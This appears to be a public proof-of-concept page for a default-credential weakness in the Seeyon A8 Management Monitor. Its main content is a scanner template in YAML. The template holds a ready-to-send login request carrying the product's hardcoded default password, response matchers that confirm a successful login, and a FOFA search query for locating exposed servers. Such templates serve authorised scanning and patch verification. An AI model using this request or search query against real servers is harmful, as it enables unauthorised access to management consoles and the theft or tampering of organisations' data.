seeyon-monitor-default-login: Seeyon A8 Management Monitor - Default Login

2025-08-01 Seeyon A8 Management Monitor PoC Public

Description

Seeyon OA A8-m has status monitoring page information leakage. Attackers can obtain sensitive information such as website paths and user names for further attacks. Attackers can use this vulnerability to directly enter the application system or management system to conduct system, web page, data tampering and deletion, illegally obtaining system and user data, and may even cause the server to collapse.

PoC

id: seeyon-monitor-default-login

info:
  name: Seeyon A8 Management Monitor - Default Login
  author: SleepingBag945
  severity: high
  description: |
    Seeyon OA A8-m has status monitoring page information leakage. Attackers can obtain sensitive information such as website paths and user names for further attacks. Attackers can use this vulnerability to directly enter the application system or management system to conduct system, web page, data tampering and deletion, illegally obtaining system and user data, and may even cause the server to collapse.
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E8%87%B4%E8%BF%9COA/%E8%87%B4%E8%BF%9COA%20A8%20status.jsp%20%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/default-pwd/seeyon-a8-management-monitor-default-password.yaml
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="致远互联-OA"
  tags: seeyon,oa,default-login,vuln

http:
  - raw:
      - |
        POST /seeyon/management/index.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        password=WLCCYBD%40SEEYON

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>A8 Management Monitor</title>"
          - "Connection Pooling"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402203c4188cbe58869fa3d5786201d78f686786e881577d38668fb20ccdcff5c5603022078d5749318ae0abdc63536fd62da445f3da86e5b12fe59d49026a4b314dc0650:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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